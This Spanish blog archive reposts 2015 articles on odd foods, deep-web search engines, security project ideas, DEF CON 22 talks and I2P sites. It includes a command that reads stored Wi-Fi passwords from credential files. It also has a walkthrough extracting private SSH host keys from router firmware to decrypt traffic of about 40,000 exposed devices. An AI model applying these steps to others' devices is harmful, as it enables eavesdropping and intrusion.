jueves, 26 de febrero de 2015

Estas Son 8 De Las Comidas Más Raras Y Extrañas Que La Gente Consume

Uno de los grandes placeres de la vida es estar explorando otras culturas y sus deliciosas comidas, tanto es así que muchas de ellas se han vuelto universales, la Pizza, las Pastas, los Tacos y los arrollados primavera (empanadas chinas), son solo algunos ejemplos de ello. Pero a veces te encuentras con cosas tan asquerosas que te dan ganas de salir corriendo y llorar.
En varias partes del mundo la gente bebe licor de lagarto, como embriones de pato y un montón de otros elementos extraños. Aquí están 8 de los elementos más extraños y repugnantes que andan en la vuelta:

8. BALUT este es un embrión de Pato, desarrollado, hervido vivo y comido en su huevo,muy común  en el sudeste asiático a menudo se sirve acompañado de cerveza

Comer el pato cocinado dentro del huevo

7. COBRA VIVA En la Aldea Vietnamita de Le Mat cerca de Hanoi, arrancan el corazón aún latiendo de una serpiente y la sirven en un tazón. (En la foto se ve vino de cobra)

Vino de serpiente

6. Sopa de Cucarachas. Encontrar una cucaracha en un plato debe de ser horrible, ¿Pero como imaginar personas que ordenan una sopa de cucarachas?

sopa de cucarachas

5. Testículos de Gallo

sopa de testiculo de gallo

4. HAGGIS Este tradicional plato de Escocia está hecho del estomago de una oveja con los pulmones el higado  y en corazón acompañados de avena cebolla y condimentos, ya sabes todas esas cosas sabrosas…

Estomago de oveja al plato

3. Cuy frito

rata frita al plato

2. Licor de lagarto, este lujoso vino se encuentra predominantemente en Asia y  se preodude por la infusión de tres lagartos en vino de arroz. La teoría de la medicina tradicional oriental, afirma que esto permite que la energía de la lagartija al ser absorbida por el alcohol se traslade a la persona que lo bebe.

licor de lagarto

1. Patas de Pollo Fritas. No están tan mal, probablemente ya estén moldas dentro de tus Nuggets

patas d pollo fritas

¿Te atreverías a probar alguna?

 

Fuente: http://www.recreoviral.com/curiosidades/comidas-raras-extranas-desagradables/

sábado, 21 de febrero de 2015

Explora las páginas .onion de la Deep Web con el buscador Onion City

Onion City es un sencillo proyecto creado hace sólo una semana para poner a disposición de cualquier persona un motor de búsqueda capaz de indexar las páginas .onion de los servicios ocultos de TOR, y que cualquiera pueda hacerse una idea en primera persona de los oscuros callejones que se pueden encontrar en las profundidades de la Deep Web.

Se trata de un proyecto muy parecido al buscador Memex del que os hablamos la semana pasada, pero que a diferencia del proyecto de la DARPA no ha nacido para combatir el crimen, sino como una sencilla herramienta para acceder a más de 650.000 páginas que se esconden bajo los dominios .onion sin necesidad de utilizar un navegador específico como Tor Browser.

Onion City Cap
Este tipo de búsquedas son posibles gracias a que el buscador es en realidad una proxy Tor2web, y actúa como cliente para navegar en la red Tor buscando todas las web que utilicen los dominios .onion.city. Este buscador utiliza la tecnología de Google Search, lo que quiere decir que todas las webs que encuentran también son accesibles para el gran buscador, siempre y cuando pongamos el comando site:onion.city antes de introducir las palabras que queremos buscar.
No, Onion City no es una herramienta para delincuentes ni personas que quieran aprovecharse de los servicios de la Deep Web, ya que ni encripta ni protege a los usuarios de los peligros que pueden encontrar. Por lo tanto, si quieres explorar la Deep Web sigue siendo de vital importancia que te equipes con tu propio kit de supervivencia.

Enlace | Onion City
En genbeta | Kit de supervivencia en la "deep web"
Fuente: http://www.genbeta.com/buscadores/explora-las-paginas-onion-de-la-deep-web-con-el-buscador-onion-city

jueves, 19 de febrero de 2015

7 ideas de desarrollo de software enfocadas a la seguridad informática para el 2015

Cada semana suelo dedicar un rato en pensar en qué cosas me gustaría trabajar, qué herramientas me gustaría desarrollar y qué quiero estudiar en mi tiempo libre, así como también las cosas quiero evitar a toda costa en mi vida profesional. Lo considero un ejercicio muy entretenido y que me ayuda a mejorar mi creatividad y a lo mejor, algún día pueda tirar de algunas de ellas para dedicarme a tiempo completo. “Sueños” aparte, cuando alguien quiere escribir una herramienta enfocada a la seguridad, antes de pensar en el lenguaje de programación o requisitos técnicos/funcionales específicos, es necesario preguntarse, dos cosas: “por qué” y “para qué”. El “por qué” es importante, ya que permite definir objetivos claros sobre lo que queremos hacer, una serie de funciones que pretenden cubrir una necesidad, automatizar alguna tarea concreta o simplemente por aprendizaje/diversión. Luego, hay que pensar en el “para qué” y definir si realmente es algo que le va a servir a la comunidad. Hay que tener en cuenta que es posible que existan otras herramientas que ya hacen lo mismo que quieres hacer con la tuya y no tiene sentido reinventar la rueda. Por ejemplo, ¿Quieres desarrollar un servidor web? bueno… ya existen algunos cuantos muy buenos y si consideras que puedes hacer algo interesante que no hacen servidores como Apache o NGINX, cabe preguntarse, ¿No sería mejor hacer un plugin o un modulo con esa funcionalidad concreta para alguno de esos servidores?.
¿Quieres hacer un escáner de puertos? bueno… si crees que lo puedes hacer mejor que  Nmap, Hping3, Queso y un largo, larguísimo etcétera de herramientas que sirven para lo mismo, adelante!.
Para que tu proyecto tenga éxito, tiene que ser novedoso, cubrir una necesidad concreta y que tenga tu “sello personal”. De esta forma ganaras visibilidad y la gente podrá ver lo que has hecho. A continuación, te dejo un listado de 7 ideas de proyectos que a lo mejor te pueden interesar y si quieres puedes poner en marcha en cualquier momento.
  1. Desarrollo de un RAT.
Un RAT  es una herramienta que permite la administración remota de un ordenador y normalmente cuenta con una serie de funciones que permiten, literalmente, hacer de todo en el ordenador donde se encuentra instalado el programa. Es un tipo de herramienta que suele ser utilizada por equipos de mantenimiento para la resolución de incidencias concretas, sin embargo, también es una herramienta muy común cuando se habla de cibercrimen y de APTs. Existen muchas herramientas con estas características y probablemente una de las más conocidas es “TeamViewer”, pero también han sonado otras como PoisonIvy o DarkComet en temas relacionados con campañas de APTs de alto nivel.
El beneficio que conseguirás creando una herramienta con estas características, es la cantidad de conocimientos técnicos que adquirirás, ya que incluye muchas funciones, tales como la posibilidad de ejecutar comandos en una consola, subir/descargar ficheros, controlar cualquier dispositivo conectado al ordenador, etc.
  1. Plataforma portable de servicios ocultos en redes anónimas como TOR o I2P.
Si tienes servicios ocultos en TOR o I2P, en la mayoría de casos los ejecutarás desde tu ordenador y punto, pero si para ti es realmente importante el anonimato y te conectas desde varios ordenadores lo más probable es que te interese montar y eliminar tus servicios ocultos de forma automática o si lo haces desde una máquina virtual del estilo de TAILS, lo que tengas en dicha máquina virtual será eliminado después de que termines tu trabajo.
Una aplicación interesante puede consistir en el levantamiento automático de una instancia de TOR y de una serie de servicios ocultos del tipo HTTP, SSH, SMB, etc.
Si por ejemplo, eres un periodista que trabaja en zonas en conflicto y que utilizas constantemente TOR desde el ordenador que te pille mejor para compartir privadamente tus reportajes, una plataforma con estas características puede venir muy bien, ya que se encargará de la configuración de los servicios ocultos y de levantar los servidores por ti, en un instante lo tienes todo montado y funcionando.
  1. Desarrollo de un spider con funciones para análisis de metadatos.
Existen muchas librerías y herramientas para iniciar procesos de crawling y scrapping en aplicaciones web, sin embargo, algo que siempre echo en falta, es la capacidad de descargar documentos, imágenes y cualquier otro recurso de una aplicación web y almacenar dicha información de forma “inteligente” basándome en los metadatos de dichos documentos. Evidentemente, el proceso de crawling funcionará igual que como lo hacen muchas de las herramientas y frameworks que existen en el mercado, pero además, descargarás contenidos como imágenes y documentos basándote únicamente en una serie de patrones predefinidos. Esto te permite descargar solamente el contenido que te interesa (independiente de cuál sea tu interés :-) )
  1. Asistente y simulador de reglas para Snort.
Snort es uno de los NIDS más potentes que conozco, además de que se trata de un proyecto Open Source, que desde luego son los que más me gustan. Sin embargo, crear reglas robustas y que permitan detectar ataques y amenazas en el segmento de red no es una tarea para nada trivial, de hecho, conocer todas las directivas que se pueden utilizar en una regla de Snort y su comportamiento es de las cosas más complicadas a las que se puede enfrentar un administrador de redes que desea mantener su entorno seguro. Que yo sepa, el desarrollo de este tipo de reglas se hace manualmente, no conozco herramientas que permitan facilitar su creación y mucho menos que permitan simular su  comportamiento ante diferentes tipos de ataque. Una buena idea que puede resultar interesante a más de uno es justamente desarrollar un asistente que permita crear reglas de Snort de forma interactiva y que una vez creadas, tenga la opción de levantar Snort y simular su comportamiento llevando a cabo diferentes tipos de ataques predefinidos en la simulación, como por ejemplo ataques DoS, escaneos, patrones de shellcodes, etc. Creo que puede ser un proyecto muy interesante que aportaría un valor enorme a los administradores de red que diariamente se tienen que pegar con Snort.
  1. Plataforma de honeypots para múltiples servicios
Un honeypot es un sistema que se encarga de levantar un servicio determinado que intenta simular un sistema vulnerable, pero sin ser realmente un servicio utilizado y mucho menos, con recursos sensibles. Uno de los más conocidos es “Kippo”, un honeypot de un servidor SSH completo, en el que se puede incluso definir un sistema de archivos y un usuario y contraseña predecibles, todo esto con el fin de atraer atacantes. La idea consiste en levantar múltiples honeypots para diferentes tipos de servicios, tales como SSH, FTP, SMB, HTTP, etc. Además, utilizar un firewall como NetFilter/IPTables para filtrar todo el trafico entrante por puertos como el 21, 22, 80, 139, 443, 8080, etc. Al puerto en el que se encuentre en ejecución el honeypot correspondiente. Del mismo modo que ocurre con “Kippo”, si un atacante entra en el sistema utilizando las credenciales intencionalmente predecibles, la plataforma de honeypot puede ejecutar un “contra-ataque” contra el atacante. Se trata de una idea que puede ser interesante para temas relacionados con la ciberdefensa y la seguridad ofensiva. Existen proyectos similares a éste, como por ejemplo MHN (http://threatstream.github.io/mhn/) sin embargo, solamente se limitan al registro de ataques y no en ejecutar el siguiente paso correspondiente al “contra-ataque”, que puede consistir simplemente en recolectar información sobre el atacante, detectar vulnerabilidades y posteriormente realizar las tareas correspondientes a la explotación y post-explotación.
  1. Plugins para Tortazo!
Para aquellos que se encuentran interesados en la red de TOR, a lo mejor les resulte útil aprender a escribir plugins para Tortazo. No se trata de una herramienta simple, no es fácil de instalar por la cantidad de dependencias necesarias, tienes que tener ciertos conocimientos para poder sacarle el máximo provecho y todo esto es así de forma premeditada ya que la filosofía de Tortazo es “anti-script kiddies”. Nunca ha sido mi intención crear una herramienta como Metasploit, en la que la gente lanza módulos y exploits contra otros sistemas y no se enteran de qué es lo que realmente están haciendo esas utilidades ni mucho menos, comprenden el funcionamiento de los exploits que se ejecutan. Ese tipo de herramientas, aunque son extremadamente útiles y ahorran mucho tiempo, suelen fomentar la pereza entre novatos y personas con escasos conocimientos en seguridad, aquellos que quieren las cosas rápido y fácil, sin dedicar el tiempo suficiente en aprender cómo funcionan las herramientas que utilizan.
Si te interesa TOR y Tortazo, puedes escribir plugins que se conecten a la web profunda de TOR utilizando una sencilla API incluida en Tortazo, la cual tiene funciones para realizar conexiones a diversos tipos de servicios ocultos (SSH, SMB, FTP, HTTP, etc.) así como también realizar actividades de recolección de información sobre los repetidores que conforman la red de TOR.
  1. Mapeo de redes inalámbricas a nivel metropolitano.
Para aquellos que conocéis WiGLE, probablemente ya sepáis de qué va esta idea, para los que no, basta con comentar que se trata de una base de datos enorme con información sobre redes inalámbricas a nivel mundial. En la ciudad en la que vivo actualmente (Madrid) hay redes inalámbricas a cualquier sitio al que te dirijas, muchas tienen vulnerabilidades fáciles de explotar y otras se encuentran abiertas (en muchas ocasiones de forma deliberada para atacar a los clientes que se conectan). WiGLE tiene mucha información de redes en USA, pero en el caso de España, no veo tantos registros, por este motivo una buena idea puede ser intentar hacer lo mismo que hace WiGLE pero con un enfoque distinto, además de identificar y registrar redes inalámbricas en una base de datos, almacenar también su localización aproximada, intentar auditarlas intentando ejecutar los vectores de ataque más comunes (hirte, coffe latte, fragmentación, etc.) y determinar cuáles son vulnerables. Un programa de estas características puede funcionar bastante bien si el atacante se encuentra en constante movimiento, por ejemplo, si se desplaza en transporte público y deja al programa recibiendo “Beacon Frames” de los puntos de acceso cercanos y además, realizar las pruebas de penetración típicas contra este tipo de redes. Se trata de una actividad que en la mayoría de países puede ser considerada ilegal en el caso de que se acceda sin permisos a dichas redes, con  lo cual lo mejor es limitar el ataque únicamente al reconocimiento de vulnerabilidades y su posterior registro y aunque no soy partidario, ni me gusta la gente que se dedica a usar herramientas como “aircrack-ng” para fastidiar a otros, creo que es un proyecto del que se puede aprender bastante sobre el funcionamiento de las redes inalámbricas y sobre cómo crear programas de auditoría contra dichos entornos de red.
Son simplemente ideas que se me han ido ocurriendo y que a lo mejor, te pueden resultar interesantes como proyecto a implementar el año que viene. En fin, otra idea de proyecto puede ser, como propósito general, aprender a programar mejor, dedicar tiempo y enfocar esfuerzos en adquirir esos conocimientos que son tan importantes y que os van a servir para crear cosas novedosas que seguro nos van a sorprender a todos!
Un Saludo y Happy Hack!
Adastra.

Fuente: http://thehackerway.com/2014/12/16/10-ideas-para-el-desarrollo-de-software-enfocadas-a-la-seguridad-informatica/

Recuperando la contraseña de tu wifi desde la línea de comandos




wifi_pass.png

Desde Linux, al menos en Ubuntu, recuperar la contraseña de tu wifi o alguna de las redes inalámbricas que te hayas conectado con anterioridad, es muy fácil, desde las propiedades del la configuración de red, puedes acceder a las mismas.

Esta entrada como bien dice el título está enfocada a usar la línea de comandos. Desde Ubuntu Linux, para el resto de distribuciones será igual o alguna forma muy parecida, sólo tenemos que ejecutar:
sudo cat /etc/NetworkManager/system-connections/SSID | grep psk=
Donde SSID es el nombre de tu conexión. No he probado para todo tipo de configuraciones, pero al menos funciona para WPA2-PSK.

Si usas Mac OS X aquí tienes un script que hace lo dicho y si usas Windows este otro. Yo personalmente no ha probado ninguno de esos scripts, así que no te puedo asegurar que funcionan.

Fuente: http://www.cyberhades.com/2015/02/17/recuperando-la-contrasena-de-tu-wifi-desde-la-linea-de-comandos/

Presentaciones de Defcon 22 (PDF)


Ya se encuentran disponibles las presentaciones (diapositivas y algún documento extra) de Defcon 22:

  • Protecting SCADA From the Ground Up – PDF
  • Detecting Bluetooth Surveillance Systems – PDF
  • Dropping Docs on Darknets: How People Got Caught – PDF
  • Hacking 911: Adventures in Disruption, Destruction, and Death – PDF
  • How to Disclose an Exploit Without Getting in Trouble – PDF
  • Reverse Engineering Mac Malware – PDF
  • NSA Playset: PCIe – PDF
  • The Monkey in the Middle: A pentesters guide to playing in traffic. – PDF
  • Investigating PowerShell Attacks – PDF
  • Is This Your Pipe? Hijacking the Build Pipeline. – PDF
  • Screw Becoming A Pentester – When I Grow Up I Want To Be A Bug Bounty Hunter! – PDF
  • Home Alone with localhost: Automating Home Defense – PDF
  • Meddle: Framework for Piggy-back Fuzzing and Tool Development – PDF
  • Instrumenting Point-of-Sale Malware: A Case Study in Communicating Malware Analysis More Effectively – PDF White Paper
  • One Man Shop: Building an effective security program all by yourself – PDF
  • RF Penetration Testing, Your Air Stinks – PDF
  • Touring the Darkside of the Internet. An Introduction to Tor, Darknets, and Bitcoin – PDF
  • USB for all! – PDF
  • ShareEnum: We Wrapped Samba So You Don’t Have To – PDF
  • An Introduction to Back Dooring Operating Systems for Fun and Trolling – PDF
  • Android Hacker Protection Level 0 – PDF
  • Anatomy of a Pentest; Poppin’ Boxes like a Pro – PDF
  • Bug Bounty Programs Evolution – PDF Extras
  • Practical Foxhunting 101 – PDF
  • Client-Side HTTP Cookie Security: Attack and Defense – PDF
  • Bypass firewalls, application white lists, secure remote desktops under 20 seconds – PDF
  • PropLANE: Kind of keeping the NSA from watching you pee – PDF
  • Getting Windows to Play with Itself: A Hacker’s Guide to Windows API Abuse – PDF
  • Weaponizing Your Pets: The War Kitteh and the Denial of Service Dog – PDF
  • Through the Looking-Glass, and What Eve Found There – PDF White Paper
  • Summary of Attacks Against BIOS and Secure Boot – PDF
  • I am a legend: Hacking Hearthstone with machine learning – PDF
  • The Secret Life of Krbtgt – PDF
  • The $env:PATH less Traveled is Full of Easy Privilege Escalation Vulns – PDF
  • Hacking US (and UK, Australia, France, etc.) traffic control systems – PDF
  • The Cavalry Year[0] & a Path Forward for Public Safety – PDF
  • NSA Playset: DIY WAGONBED Hardware Implant over I2C – PDF
  • Abuse of Blind Automation in Security Tools – PDF
  • Why Don’t You Just Tell Me Where The ROP Isn’t Suppose To Go – PDF
  • Steganography in Commonly Used HF Radio Protocols – PDF Extras
  • Saving Cyberspace by Reinventing File Sharing – PDF
  • Empowering Hackers to Create a Positive Impact – PDF
  • Just What The Doctor Ordered? – PDF
  • Check Your Fingerprints: Cloning the Strong Set – PDF
  • Shellcodes for ARM: Your Pills Don’t Work on Me, x86 – PDF
  • Blowing up the Celly – Building Your Own SMS/MMS Fuzzer – PDF
  • Mass Scanning the Internet: Tips, Tricks, Results – PDF
  • Deconstructing the Circuit Board Sandwich: Effective Techniques for PCB Reverse Engineering – PDF
  • Saving the Internet (for the Future) – PDF
  • Burner Phone DDOS 2 dollars a day : 70 Calls a Minute – PDF
  • Hack All The Things: 20 Devices in 45 Minutes – PDF
  • Stolen Data Markets: An Economic and Organizational Assessment – PDF
  • Raspberry MoCA – A recipe for compromise – PDF White Paper 1 White Paper 2
  • Girl… Fault-Interrupted. – PDF
  • Extreme Privilege Escalation On Windows 8/UEFI Systems – PDF White Paper
  • NinjaTV – Increasing Your Smart TV’s IQ Without Bricking It – PDF
  • Oracle Data Redaction is Broken – PDF
  • Weird-Machine Motivated Practical Page Table Shellcode & Finding Out What’s Running on Your System – PDF
  • Catching Malware En Masse: DNS and IP Style – PDF White Paper
  • Attacking the Internet of Things using Time – PDF
  • Open Source Fairy Dust – PDF
  • Learn how to control every room at a luxury hotel remotely: the dangers of insecure home automation deployment – PDF White Paper
  • Generating ROP payloads from numbers – PDF
  • DEF CON Comedy Jam Part VII, Is This The One With The Whales? – PDF
  • The NSA Playset: RF Retroreflectors – PDF 1 PDF 2
  • VoIP Wars: Attack of the Cisco Phones – PDF
  • Playing with Car Firmware or How to Brick your Car – PDF
  • Measuring the IQ of your Threat Intelligence feeds – PDF
  • Secure Because Math: A Deep Dive On Machine Learning-Based Monitoring – PDF
  • Abusing Software Defined Networks – PDF
  • NSA Playset : GSM Sniffing – PDF
  • Cyberhijacking Airplanes: Truth or Fiction? – PDF
  • Am I Being Spied On? Low-tech Ways Of Detecting High-tech Surveillance – PDF
  • Detecting and Defending Against a Surveillance State – PDF
  • Acquire current user hashes without admin privileges – PDF
  • You’re Leaking Trade Secrets – PDF
  • Veil-Pillage: Post-exploitation 2.0 – PDF
  • From Raxacoricofallapatorius With Love: Case Studies In Insider Threat – PDF
  • Don’t DDoS Me Bro: Practical DDoS Defense – PDF
  • Advanced Red Teaming: All Your Badges Are Belong To Us – PDF
  • I Hunt TR-069 Admins: Pwning ISPs Like a Boss – PDF
  • The Only Way to Tell the Truth is in Fiction: The Dynamics of Life in the National Security State – PDF
  • A Journey to Protect Points-of-sale – PDF
  • Impostor — Polluting Tor Metadata – PDF
  • Domain Name Problems and Solutions – PDF White Paper
  • Optical Surgery; Implanting a DropCam – PDF
  • Manna from Heaven: Improving the state of wireless rogue AP attacks – PDF
  • The Open Crypto Audit Project – PDF
  • Practical Aerial Hacking & Surveillance – PDF White Paper
  • From root to SPECIAL: Pwning IBM Mainframes – PDF
  • PoS Attacking the Traveling Salesman – PDF
  • Don’t Fuck It Up! – PDF

Fuente:  http://www.cyberhades.com
http://www.blackploit.com/2014/08/presentaciones-de-defcon-22-pdf.html

Cómo dumpear las claves SSH desde el firmware de un router

Algunos me preguntáis como sacar las claves ssh de los routers en referencia a la entrada de anoche. Os veo venir... pero bueno, veremos rápidamente como hacerlo extrayendo la imagen del firmware de un router ;)

En esta ocasión sin embargo vamos a dejar al *pobre* Comtrend VG-8050 y vamos a ir a por el D-Link Dsl-2750u (la belleza de la derecha). En concreto vamos a echar un vistazo a una de las versiones de firmware que también viene con un demonio Dropbear 0.46 con "premio": la ME_1.11 de octubre de 2013:

http://www.dlinkmea.com/partner/media/product_item_downloadables/1351-DSL2750U-U1_FW1.11.rar

Después de descargar los menos de 7mb que ocupa el rar, lo descomprimimos y analizamos la imagen con Binwalk, el estándar de facto para el análisis de firmwares:


root@kali:~/firmwares# file GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img 
GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img: data

root@kali:~/firmwares# binwalk GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5402908 bytes
1722624       0x1A4900        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 5080877 bytes,  1142 inodes, blocksize: 262144 bytes, created: Thu Oct 24 07:46:30 2013

Como veis el filesystem es SquashFS, uno de los más ampliamente utilizados en sistemas con Linux embebido, y está comprimido con LZMA en lugar del estandar zlib (algo que también suelen hacer):
root@kali:~# binwalk --dd='squashfs:squashfs' GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5402908 bytes
1722624       0x1A4900        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 5080877 bytes,  1142 inodes, blocksize: 262144 bytes, created: Thu Oct 24 07:46:30 2013

root@kali:~/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted# file 1A4900.squashfs 
1A4900.squashfs: Squashfs filesystem, little endian, version 4.0, 5080877 bytes, 1142 inodes, blocksize: 262144 bytes, created: Thu Oct 24 07:46:30 2013

El siguiente paso es extraer la imagen y, para ello, vamos a instalar y utilizar la utilidad unsquashfs-2.1 de Jeremy Collake:

apt-get install liblzo2-dev 
git clone https://github.com/devttyS0/sasquatch
make

root@kali:~/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted# ./sasquatch/sasquatch 1A4900.squashfs 
SquashFS version [4.0] / inode count [1142] suggests a SquashFS image of the same endianess
Parallel unsquashfs: Using 1 processor
Trying to decompress using default lzma decompressor...
Successfully decompressed with default lzma decompressor
1083 inodes (1113 blocks) to write

[=============================================================\] 1113/1113 100%

created 679 files
created 59 directories
created 123 symlinks
created 281 devices
created 0 fifos

Ahora veremos el filesystem colgando del directorio squashfs-root, por lo que sólo tenemos que ir a pescar nuestras claves...

root@kali:~/firmwares/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted# cd squashfs-root/etc/dropbear/
root@kali:~/firmwares/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted/squashfs-root/etc/dropbear# ls -las
total 16
4 drwxr-xr-x  2 594 594 4096 Oct 24  2013 .
4 drwxr-xr-x 10 594 594 4096 Oct 24  2013 ..
4 -rwxr-xr-x  1 594 594  459 Oct 24  2013 dropbear_dss_host_key
4 -rwxr-xr-x  1 594 594  427 Oct 24  2013 dropbear_rsa_host_key

... y con la herramienta dropbearkey mostrar la clave pública:

root@kali:~/firmwares/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted/squashfs-root/etc/dropbear# dropbearkey -y -f dropbear_rsa_host_key
Public key portion is:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgwCAmPVBs6DX2/2G6NcLwFI6jP055kbQzxGNNaYngPhR3TT9MMiGnR2waCQYrZq0n7D+RKu9tEiYU05tPiaMqm5z4qHq2OePKIL4jFhcTJk8p0yz1IpPp9FJjvZ6Daw4Mvr+r+RNNnSTn7Iq7bIxWyNgXnQc7Lx7IPmm8JDqskFEtOC7 root@kali
Fingerprint: md5 63:05:01:4f:cd:09:6d:ad:ed:95:ae:89:19:2c:b8:bc

Finalmente sólo nos queda buscar el fingerprint correspondiente:

Link shodan


y tenemos otros 40.000 equipos cuyas comunicaciones podremos descifrar :)

Fuente: http://www.hackplayers.com/2015/02/como-dumpear-las-claves-ssh-del-firmware.html

20 eepsites en la web profunda de I2P que te podrían interesar

Este año puede ser muy interesante para I2P ya que por lo que he podido percibir en la red por comentarios en blogs, foros y en varios canales IRC, la gente está comenzando a utilizar más activamente I2P tanto como solución “InProxy” como solución “Outproxy”, especialmente desde la última edición de la CCC celebrada en Hamburgo. Ya os comentaba en la última entrada que 2015 es el año en el que deberías comenzar a pensar en I2P como una buena alternativa a TOR ya que se trata de una red madura y con mucho que ofrecer. Siguiendo esa misma línea, os dejo un listado de eepsites en I2P que a lo mejor resultan de vuestro interés, pero antes de eso, es importante hablar un poco sobre SusiDNS y el sistema de nombrado que utiliza I2P.
Tal como os he explicado anteriormente en una serie de artículos sobre I2P que he redactado hace unos años, el sistema de nombrado que utiliza un router depende de un fichero de texto que vincula un dominio “.i2p” con una dirección en base32 o base64, que es realmente el “destination” del servicio. En I2P no existe un sistema centralizado para resolver la dirección de un destino con su correspondiente dominio “.i2p”, no funciona como el clásico y conocido DNS, todos los hostnames son locales. Este sistema de nombrado se puede gestionar por medio de la aplicación “SusiDNS”, la cual se encuentra instalada por defecto en todos los routers de I2P en la siguiente dirección: http://127.0.0.1:7657/susidns/index. Algunos de los EEPSites que se listan a continuación ya se encuentran incluidos en el sistema de nombrado, sin embargo es posible que algunos no lo estén, por ese motivo es necesario hacerlo manualmente utilizando SusiDNS.
Por otro lado, es posible que una dirección “.i2p” no se encuentre almacenada en el addressbook local y en estos casos, el usuario tiene dos alternativas, o bien adicionar dicha dirección en cualquiera de los addressbook de la instancia local de I2P o utilizar un “jump service” que servirá de proxy entre el cliente y el destino sin necesidad de agregar el dominio y la dirección base32/base64 en el addressbook local. Algunos de los “jump services” más utilizados son los siguientes:
http://i2host.i2p
http://stats.i2p
http://no.i2p
http://i2pjump.i2p
Aclarados estos puntos, se listan algunos “eepsites” interesantes en la red de I2P. De esta forma, podrás comenzar a utilizar I2P, navegar por la web profunda y acceder a contenidos e información que sea de tu interés.

1. I2P Wiki (UGHA).

Una wiki bastante simple pero con buenos recursos sobre otros eepsites en I2P y recursos variados.
URL I2P: http://ugha.i2p/
URL Base32: http://z3f3owc72awbywk4p6qb5l2mxgitvs6ejztggbpn2a3ddmymfjda.b32.i2p

2. INR (I2P Name Registry).

Probablemente es uno de los recursos más interesantes para cualquier usuario que recién está comenzando con I2P. Incluye un directorio de servicios ocultos en I2P que los usuarios registran para que cualquiera pueda acceder a su correspondiente “destination”.
URL I2P: http://inr.i2p
URL Base32: http://joajgazyztfssty4w2on5oaqksz6tqoxbduy553y34mf4byv6gpq.b32.i2p

3. Foro de discusión de ZZZ.

Seguramente es para muchos conocido que el usuario “zzz” es uno de los desarrolladores de I2P y que lleva el proyecto desde el principio y dado que I2P sigue estando en versión “beta”, un buen recurso para conocer las últimas novedades es su foro de discusión, donde cualquiera puede registrarse y abrir un hilo. Es un recurso que te será muy útil para aprender y posteriormente apoyar al proyecto (con código, obviamente).
URL I2P: http://zzz.i2p/
URL Base32: http://ukeu3k5oycgaauneqgtnvselmt4yemvoilkln7jpvamvfx7dnkdq.b32.i2p/

4. Planet I2P.

Sitio dedicado a las últimas novedades en I2P.
URL I2P: http://planet.i2p/
URL Base32: http://y45f23mb2apgywmftrjmfg35oynzfwjed7rxs2mh76pbdeh4fatq.b32.i2p

5. Abusos Judiciales.

España es un país en el que se comenten innumerables atropellos y abusos judiciales y parece ser, que es poco lo que los afectados pueden hacer al respecto. Este servicio oculto no solamente se encuentra en I2P, sino que también se puede encontrar en TOR en la dirección onion http://2dn2dmxt5uwnxz3j.onion/ y su finalidad es exponer los principales abusos judiciales cometidos en España y las medidas legales que pueden aplicar los afectados. Además incluye consejos muy interesantes para protegerse y denunciar querellas falsas, denuncias, multas injustas, etc. Espero que ninguno de vosotros se encuentre nunca en una situación legal delicada, pero si así fuese, este sitio puede resolver algunas de las dudas que puedas tener.
URL I2P: http://abusos.i2p/
URL Base32: http://jnvf5uh4cnw5xv4yjwr5m4mv672ayacdj6lvsqyxkjtbzbuquxgq.b32.i2p/

6. APlus

Se trata de una red social muy simple en la que sus miembros pueden intercambiar mensajes y chatear. Para poder utilizarla, es necesario estar registrado, de lo contrario solamente podrás buscar los usuarios que se encuentran registrados.
URL I2P: http://aplus.i2p
URL Base32: http://h67lym6btfqinjs5ye272fo6uze2uvjk6t7qabibocjedfcv5fva.b32.i2p/

7. Strategic Intelligence Network (SIN)

Un sistema que recolecta y analiza los últimos acontecimientos en cada país del mundo y en base a dicha información, se encarga de generar distintos niveles de “SecCon” (Security Conditions) en cada país. Este sistema es interesante para conocer de primera mano la situación social y política de cada país del mundo y si eres una persona que suele viajar mucho, puedes leer las recomendaciones que incluye para mantener unos niveles de seguridad mínimos tanto en el viaje como en la estancia.
URL I2P: http://sin.i2p
URL Base32: http://tph27jvsnriyy3fcxmg44icunb5ugi3qhue3e7skwn4awp5j5zyq.b32.i2p/

8. GIT Hosting

Si tienes un proyecto de desarrollo de software y te interesa publicarlo en la web profunda de I2P, puedes registrarlo en el sitio git.repo.i2p y realizar su administración utilizando las utilidades de GIT del mismo modo que con cualquier repositorio en Internet.
URL I2P: http://git.repo.i2phttp://pull.git.repo.i2p/http://push.git.repo.i2p/
URL Base32: http://vsd2vtgtuua2vwqsal2mpmxm2b2cpn3qzmqjoeumrrw2p4aot7uq.b32.i2p/w
http://3so7htzxzz6h46qvjm3fbd735zl3lrblerlj2xxybhobublcv67q.b32.i2p/
http://jef4g5vxnqybm4zpouum3lzbl6ti6456q57nbyj5kfyldkempm3a.b32.i2p/

9. eepstatus

Servicio muy similar a INR, se encarga de verificar que los eepsites que se encuentran en el listado se encuentran activos y aquellos que no lo están, tienen una marca roja indicando la última fecha en la que se han visto en linea. Del mismo modo que ocurre con INR, se trata de un listado que se alimenta de sitios registrados por los usuarios de I2P y por un motor de indexación que incluye el servicio, por lo tanto es posible encontrar con servicios ocultos con contenidos inadecuados o ilegales y es importante ser consciente de ello y tomar las medidas oportunas.
URL I2P: http://identiguy.i2p/
